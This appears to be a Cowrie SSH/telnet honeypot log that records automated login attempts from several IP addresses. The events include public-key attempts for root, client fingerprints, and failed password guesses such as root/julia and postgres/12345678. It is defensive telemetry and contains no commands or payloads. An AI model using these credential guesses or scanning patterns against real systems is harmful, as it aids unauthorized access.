{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:d1:78:59:11:96:61:a8:37:07:6d:5c:c8:28:58:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC71mkKRnJz5zr+cRT4T3mkDOQSSDoqH5xdshQuD60E4pWxhg+WDdnDhCMd1Y2gl0a/58xQIDo85lpelyola32aFg6idBsqYIhKdwT5c62Ut/VaP17FMfepR4xpyIs3FYt0qV7RHpNDo885BxHOaPwvYGliyUroDRpie3lRanYdGlJcey/Um4p39YKeWKLMjKhLxBE9xxL4LKBwFGhyvfQXNiMZ++rbYlDlEd299wF74BTXa+5oNp1XttMxWhKAcABEWJbENyydQaGgABU16pf/ca2NL2iTBjhih4RXUVg6jWibEbC/DnGpDd4eFB7hIk1KkgiHAuNw17QwCAt3Z/4F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:d1:78:59:11:96:61:a8:37:07:6d:5c:c8:28:58:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.133628Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:d1:78:59:11:96:61:a8:37:07:6d:5c:c8:28:58:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC71mkKRnJz5zr+cRT4T3mkDOQSSDoqH5xdshQuD60E4pWxhg+WDdnDhCMd1Y2gl0a/58xQIDo85lpelyola32aFg6idBsqYIhKdwT5c62Ut/VaP17FMfepR4xpyIs3FYt0qV7RHpNDo885BxHOaPwvYGliyUroDRpie3lRanYdGlJcey/Um4p39YKeWKLMjKhLxBE9xxL4LKBwFGhyvfQXNiMZ++rbYlDlEd299wF74BTXa+5oNp1XttMxWhKAcABEWJbENyydQaGgABU16pf/ca2NL2iTBjhih4RXUVg6jWibEbC/DnGpDd4eFB7hIk1KkgiHAuNw17QwCAt3Z/4F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.138041Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:8c:cc:11:0e:d1:f2:86:2c:1b:61:cf:05:ab:7b:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDvfZeweM+o5U1UFgH07+VtwumjzH1kfIOmAmOijjPaQ0In+8tHXCRhkBbjC57tfOIa8LDYy5rX+McM1MaIGxZN8e+nXMkKMLnA7wzckrZHiKcUzxGlNcIHU4FPjiMX2YRKdRt3fjgwNeDbKaBkDi+Q8ulnRRLi1XDmgcJgWTdKTvdOXKbcnK1zFh/PoIWNtYAioahBnA8fnHoGGeroDAPUl6hVi73S9m5176zXaGREtiQsNy4DVN9CuwAqjoDrOF4ei4quu/J05DkFjzf6c4Aa61lCLNf+BTlAKckCIKkhU0BxVPEgwn2DM1GXbZFTY8orZQdxc116kIsCW6h1TgD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:8c:cc:11:0e:d1:f2:86:2c:1b:61:cf:05:ab:7b:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.182081Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:8c:cc:11:0e:d1:f2:86:2c:1b:61:cf:05:ab:7b:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDvfZeweM+o5U1UFgH07+VtwumjzH1kfIOmAmOijjPaQ0In+8tHXCRhkBbjC57tfOIa8LDYy5rX+McM1MaIGxZN8e+nXMkKMLnA7wzckrZHiKcUzxGlNcIHU4FPjiMX2YRKdRt3fjgwNeDbKaBkDi+Q8ulnRRLi1XDmgcJgWTdKTvdOXKbcnK1zFh/PoIWNtYAioahBnA8fnHoGGeroDAPUl6hVi73S9m5176zXaGREtiQsNy4DVN9CuwAqjoDrOF4ei4quu/J05DkFjzf6c4Aa61lCLNf+BTlAKckCIKkhU0BxVPEgwn2DM1GXbZFTY8orZQdxc116kIsCW6h1TgD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.185881Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:bf:74:96:e6:fd:23:c5:ff:e4:c3:4d:db:55:08:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiFwvldJ6tOJddjxnaqUOLgsQLLHLXmw7BvXamxdXbqUdsHYNChY//LPYSu1zsLSZxZMyzw7nzfVkOcxoMBnICr5/UME2X2N9E7suuwXimYdPb6mrFvkCH0cvLQxlNK2LgQ1m2pcbxOKGclxEWD3A0sSAvtxCx96Ln/Bm+gfIc1vU2PhVvDOijKm791T+kR97jMAWzKg6gxtQQxikJasFZxqWk/mb4JIdBe9hgBXaZ9Danalnrd1outH5rOc/26I2fGKrcvarhRWtaIkB3A6X8afwf0QasGsPdehOjRc8r/jJMO/1feqmhsZzVHGxkQRBvlDveKq31DP1EAeu83QnJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:bf:74:96:e6:fd:23:c5:ff:e4:c3:4d:db:55:08:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.229005Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:bf:74:96:e6:fd:23:c5:ff:e4:c3:4d:db:55:08:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiFwvldJ6tOJddjxnaqUOLgsQLLHLXmw7BvXamxdXbqUdsHYNChY//LPYSu1zsLSZxZMyzw7nzfVkOcxoMBnICr5/UME2X2N9E7suuwXimYdPb6mrFvkCH0cvLQxlNK2LgQ1m2pcbxOKGclxEWD3A0sSAvtxCx96Ln/Bm+gfIc1vU2PhVvDOijKm791T+kR97jMAWzKg6gxtQQxikJasFZxqWk/mb4JIdBe9hgBXaZ9Danalnrd1outH5rOc/26I2fGKrcvarhRWtaIkB3A6X8afwf0QasGsPdehOjRc8r/jJMO/1feqmhsZzVHGxkQRBvlDveKq31DP1EAeu83QnJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.233242Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:b3:52:d1:28:91:38:00:37:03:c2:ba:92:f0:d0:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHJztMk3UDp1C/nChoOyJ28oNtyhXY8HgqeGsA48bwQ69wmDLOmR6MyBuryKqG4RMHgZ2FzE5OiiErBxyLSDTU61F0INF+VMM/3xDa16fB+jTtGcLyr+xKehD37EY9ivXTHC5r4QmAhhopMwtT6h0mhrmkBxLwEe822QTufw2NZBUX5TITcD2SFkHBFySyXVWtjhs5cwoUx9klrmNpwEWfuztLFPc2rK9lf5EbC62V8xm7sCtMbCefdSQpIU7IDpIRy2sqLNtYqYIa9hc3tWVjuc7aY9KISttNdgUJccIXjQbaZzU8rGAqg3T0aF3r2jbblDlv9f9ZQ0tGuqWS627X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:b3:52:d1:28:91:38:00:37:03:c2:ba:92:f0:d0:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.277045Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:b3:52:d1:28:91:38:00:37:03:c2:ba:92:f0:d0:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHJztMk3UDp1C/nChoOyJ28oNtyhXY8HgqeGsA48bwQ69wmDLOmR6MyBuryKqG4RMHgZ2FzE5OiiErBxyLSDTU61F0INF+VMM/3xDa16fB+jTtGcLyr+xKehD37EY9ivXTHC5r4QmAhhopMwtT6h0mhrmkBxLwEe822QTufw2NZBUX5TITcD2SFkHBFySyXVWtjhs5cwoUx9klrmNpwEWfuztLFPc2rK9lf5EbC62V8xm7sCtMbCefdSQpIU7IDpIRy2sqLNtYqYIa9hc3tWVjuc7aY9KISttNdgUJccIXjQbaZzU8rGAqg3T0aF3r2jbblDlv9f9ZQ0tGuqWS627X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.281228Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:ea:8e:a2:29:85:0c:c8:57:cd:75:dc:46:79:72:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDm1+BcYBOuNSjUiHnb8bE2aY6VXqs66rBil2E88odYa97NhYaAXmsgt09SdSwKSLoJ/GF3LlRzJU2HEVtBWc6jYCug1Ue1373hD6blVkOL8VRxCBJs9Ps3jUhZpgZWpE47rjrfhrAmIImD1c4/n3SJkVpqxPSiuzfnHY+7JAnavnlDamTi9XOr/vvGlF1CkY+asPlzpJn+E4h4L12ditx2+k4hsDFxbVhNnNUVYN6R3LOK9jmTO87MjaevziVWlDpq0eAqAjAx1KX/zF3gakCtuMIEWrk8dzSPiHAJhKAbjBfvwomz4BPXfjaoo2YdrG874zX/uFv3CZDF99IaB/Wd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:ea:8e:a2:29:85:0c:c8:57:cd:75:dc:46:79:72:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.328258Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:ea:8e:a2:29:85:0c:c8:57:cd:75:dc:46:79:72:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDm1+BcYBOuNSjUiHnb8bE2aY6VXqs66rBil2E88odYa97NhYaAXmsgt09SdSwKSLoJ/GF3LlRzJU2HEVtBWc6jYCug1Ue1373hD6blVkOL8VRxCBJs9Ps3jUhZpgZWpE47rjrfhrAmIImD1c4/n3SJkVpqxPSiuzfnHY+7JAnavnlDamTi9XOr/vvGlF1CkY+asPlzpJn+E4h4L12ditx2+k4hsDFxbVhNnNUVYN6R3LOK9jmTO87MjaevziVWlDpq0eAqAjAx1KX/zF3gakCtuMIEWrk8dzSPiHAJhKAbjBfvwomz4BPXfjaoo2YdrG874zX/uFv3CZDF99IaB/Wd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.331444Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.373370Z","src_ip":"185.241.149.165","session":"f964cafbc284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:25.437376Z","src_ip":"192.109.200.237","session":"c87d44574a98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45672,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3925bd2528f","protocol":"ssh","message":"New connection: 192.109.200.237:45672 (159.203.135.109:22) [session: c3925bd2528f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:27.116103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:27.120375Z","src_ip":"192.109.200.237","session":"c3925bd2528f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:27.202511Z","src_ip":"192.109.200.237","session":"c3925bd2528f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:27.452045Z","src_ip":"192.109.200.237","session":"c3925bd2528f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:28.598661Z","src_ip":"192.109.200.237","session":"c3925bd2528f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":45632,"dst_ip":"159.203.135.109","dst_port":22,"session":"a26b862812d4","protocol":"ssh","message":"New connection: 103.82.132.16:45632 (159.203.135.109:22) [session: a26b862812d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:28.751870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:28.756772Z","src_ip":"103.82.132.16","session":"a26b862812d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:29.017567Z","src_ip":"103.82.132.16","session":"a26b862812d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37494,"dst_ip":"10.17.0.5","dst_port":23,"session":"67bbd73e16a6","protocol":"telnet","message":"New connection: 152.42.224.71:37494 (10.17.0.5:23) [session: 67bbd73e16a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:29.303025Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"julia","message":"login attempt [root/julia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:29.828874Z","src_ip":"103.82.132.16","session":"a26b862812d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37604,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e8afcc1de17","protocol":"ssh","message":"New connection: 192.109.200.237:37604 (159.203.135.109:22) [session: 0e8afcc1de17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:30.243457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:30.247391Z","src_ip":"192.109.200.237","session":"0e8afcc1de17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:30.329838Z","src_ip":"192.109.200.237","session":"0e8afcc1de17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:30.576447Z","src_ip":"192.109.200.237","session":"0e8afcc1de17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:31.088334Z","src_ip":"103.82.132.16","session":"a26b862812d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:31.661448Z","src_ip":"192.109.200.237","session":"0e8afcc1de17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37498,"dst_ip":"10.17.0.5","dst_port":23,"session":"9811bce0fc39","protocol":"telnet","message":"New connection: 152.42.224.71:37498 (10.17.0.5:23) [session: 9811bce0fc39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:31.771047Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37512,"dst_ip":"10.17.0.5","dst_port":23,"session":"0891aa19daa0","protocol":"telnet","message":"New connection: 152.42.224.71:37512 (10.17.0.5:23) [session: 0891aa19daa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:31.860186Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:32.567686Z","src_ip":"117.50.193.195","session":"c159eaa3b885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37618,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ffd75ce6181","protocol":"ssh","message":"New connection: 192.109.200.237:37618 (159.203.135.109:22) [session: 4ffd75ce6181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:33.441220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:33.446297Z","src_ip":"192.109.200.237","session":"4ffd75ce6181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:33.528682Z","src_ip":"192.109.200.237","session":"4ffd75ce6181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:33.774687Z","src_ip":"192.109.200.237","session":"4ffd75ce6181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.171939849853516,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:34.218158Z","src_ip":"152.42.224.71","session":"d862e1a2bfd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:34.860392Z","src_ip":"192.109.200.237","session":"4ffd75ce6181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37632,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7022ed9c8e1","protocol":"ssh","message":"New connection: 192.109.200.237:37632 (159.203.135.109:22) [session: b7022ed9c8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:36.533243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:36.537811Z","src_ip":"192.109.200.237","session":"b7022ed9c8e1","protocol":"ssh"}
